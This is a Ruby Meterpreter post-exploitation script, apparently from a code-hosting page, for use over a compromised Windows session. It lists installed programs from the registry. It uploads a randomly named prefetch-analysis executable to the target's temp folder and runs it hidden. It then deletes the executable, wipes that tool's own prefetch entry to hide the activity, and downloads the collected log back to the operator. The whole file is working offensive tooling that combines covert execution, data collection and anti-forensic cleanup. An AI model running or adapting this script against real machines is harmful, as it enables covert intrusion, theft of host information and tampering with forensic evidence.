160 lines
4.9 KiB
Ruby
160 lines
4.9 KiB
Ruby
|
#!/usr/bin/env ruby
|
||
|
#Meterpreter script for extracting information from windows prefetch folder
|
||
|
#Provided by Milo at keith.lee2012[at]gmail.com
|
||
|
#Verion: 0.1.0
|
||
|
session = client
|
||
|
host,port = session.tunnel_peer.split(':')
|
||
|
|
||
|
# Script Options
|
||
|
@@exec_opts = Rex::Parser::Arguments.new(
|
||
|
"-h" => [ false, "Help menu."],
|
||
|
"-p" => [ false, "List Installed Programs"],
|
||
|
"-c" => [ false, "Disable SHA1/MD5 checksum"],
|
||
|
"-x" => [ true, "Top x Accessed Executables (Based on Prefetch folder)"],
|
||
|
"-d" => [ false, "Disable lookup for software name"],
|
||
|
"-l" => [ false, "Download Prefetch Folder Analysis Log"]
|
||
|
)
|
||
|
tmp = session.fs.file.expand_path("%TEMP%")
|
||
|
imgname = sprintf("%.5d",rand(100000))
|
||
|
runTop = nil
|
||
|
logs = ''
|
||
|
logs1 = ''
|
||
|
|
||
|
timeoutsec = 1000
|
||
|
#---------------------------------------------------------------------------------------------------------
|
||
|
def readprogramlist(session)
|
||
|
begin
|
||
|
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', KEY_READ)
|
||
|
sfmsvals = key.enum_key
|
||
|
sfmsvals.each do |test1|
|
||
|
begin
|
||
|
key2 = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"+test1
|
||
|
root_key2, base_key2 = session.sys.registry.splitkey(key2)
|
||
|
value1 = "DisplayName"
|
||
|
value2 = "DisplayVersion"
|
||
|
open_key = session.sys.registry.open_key(root_key2, base_key2, KEY_READ)
|
||
|
v1 = open_key.query_value(value1)
|
||
|
v2 = open_key.query_value(value2)
|
||
|
print_status("#{v1.data}\t(Version: #{v2.data})")
|
||
|
rescue
|
||
|
end
|
||
|
end
|
||
|
end
|
||
|
end
|
||
|
|
||
|
def prefetchdump(session,tmp,imgname,options,logs1,timeoutsec)
|
||
|
tmpout = []
|
||
|
prefetchexe = File.join(Msf::Config.install_root, "data", "prefetch.exe")
|
||
|
prefetchlog = sprintf("%.5d",rand(100000))
|
||
|
print_status("Uploading Prefetch-tool for analyzing Prefetch folder....")
|
||
|
begin
|
||
|
session.fs.file.upload_file("#{tmp}\\#{prefetchlog}.exe","#{prefetchexe}")
|
||
|
print_status("Prefetch-tool uploaded as #{tmp}\\#{prefetchlog}.exe")
|
||
|
rescue::Exception => e
|
||
|
print_status("The following Error was encountered: #{e.class} #{e}")
|
||
|
end
|
||
|
session.response_timeout=timeoutsec
|
||
|
|
||
|
if logs1!=''
|
||
|
session = client
|
||
|
host,port = session.tunnel_peer.split(':')
|
||
|
logs = ::File.join(Msf::Config.config_directory, 'logs', 'prefetch', host + "-"+ ::Time.now.strftime("%Y%m%d.%M%S"))
|
||
|
::FileUtils.mkdir_p(logs)
|
||
|
print "[*] Saving prefetch logs to #{tmp}\\#{imgname} "
|
||
|
end
|
||
|
|
||
|
|
||
|
print_status("Prefetch-tool executing...")
|
||
|
begin
|
||
|
r = session.sys.process.execute("cmd.exe /c #{tmp}\\#{prefetchlog}.exe #{options} #{logs1}.txt", nil, {'Hidden' => 'true','Channelized' => true})
|
||
|
while(d = r.channel.read)
|
||
|
print_status d
|
||
|
end
|
||
|
sleep(2)
|
||
|
prog2check = "#{prefetchlog}.exe"
|
||
|
found = 0
|
||
|
while found == 0
|
||
|
session.sys.process.get_processes().each do |x|
|
||
|
found =1
|
||
|
if prog2check == (x['name'].downcase)
|
||
|
print "."
|
||
|
sleep(0.5)
|
||
|
found = 0
|
||
|
end
|
||
|
end
|
||
|
end
|
||
|
r.channel.close
|
||
|
r.close
|
||
|
print "\n"
|
||
|
if logs1!=""
|
||
|
print_status("Finish extracting prefetch folder data")
|
||
|
end
|
||
|
print_status("Deleting #{prefetchlog}.exe from target...")
|
||
|
session.sys.process.execute("cmd.exe /c del #{tmp}\\#{prefetchlog}.exe", nil, {'Hidden' => 'true'})
|
||
|
session.sys.process.execute("cmd.exe /c del %windir%\\prefetch\\#{prefetchlog}*.pf", nil, {'Hidden' => 'true'})
|
||
|
print_status("Clearing prefetch-tool prefetch entry ...")
|
||
|
rescue::Exception => e
|
||
|
print_status("The following error was encountered: #{e.class} #{e}")
|
||
|
end
|
||
|
return logs
|
||
|
end
|
||
|
#---------------------------------------------------------------------------------------------------------
|
||
|
def logdown(session,tmp,imgname,logs,timeoutsec)
|
||
|
session.response_timeout=timeoutsec
|
||
|
print_status("Downloading prefetch-tool logs to #{logs}")
|
||
|
begin
|
||
|
session.fs.file.download_file("#{logs}#{::File::Separator}#{imgname}.txt", "#{tmp}\\#{imgname}.txt")
|
||
|
print_status("Finished downloading prefetch-tool log")
|
||
|
print_status("Deleting left over files...")
|
||
|
session.sys.process.execute("cmd.exe /c del #{tmp}\\#{imgname}", nil, {'Hidden' => 'true'})
|
||
|
print_status("Prefetch-tool log on target deleted")
|
||
|
rescue::Exception => e
|
||
|
print_status("The following Error was encountered: #{e.class} #{e}")
|
||
|
end
|
||
|
end
|
||
|
|
||
|
################## MAIN ##################
|
||
|
# Parsing of Option
|
||
|
checksum = 1
|
||
|
inetlookup = 1
|
||
|
hlp = 0
|
||
|
dwld = 0
|
||
|
options1 = ""
|
||
|
viewPrograms = 0
|
||
|
|
||
|
@@exec_opts.parse(args) { |opt, idx, val|
|
||
|
case opt
|
||
|
when "-x"
|
||
|
options1 += " --x="+val
|
||
|
when "-c"
|
||
|
options1 += " --disable-md5 --disable-sha1"
|
||
|
when "-p"
|
||
|
viewPrograms = 1
|
||
|
hlp = 1
|
||
|
when "-d"
|
||
|
options1 += " --disable-lookup"
|
||
|
when "-l"
|
||
|
logs1 = " --txt=#{tmp}\\#{imgname}"
|
||
|
dwld = 1
|
||
|
when "-h"
|
||
|
hlp = 1
|
||
|
print(
|
||
|
"Prefetch-tool Meterpreter Script\n" +
|
||
|
@@exec_opts.usage
|
||
|
)
|
||
|
break
|
||
|
end
|
||
|
}
|
||
|
if (viewPrograms == 1)
|
||
|
readprogramlist(session)
|
||
|
end
|
||
|
|
||
|
if (hlp == 0)
|
||
|
print_status("Running Prefetch-tool Script.....")
|
||
|
logs2 = prefetchdump(session,tmp,imgname,options1,logs1,timeoutsec)
|
||
|
if (dwld == 1)
|
||
|
logdown(session,tmp,imgname,logs2,timeoutsec)
|
||
|
end
|
||
|
end
|
||
|
|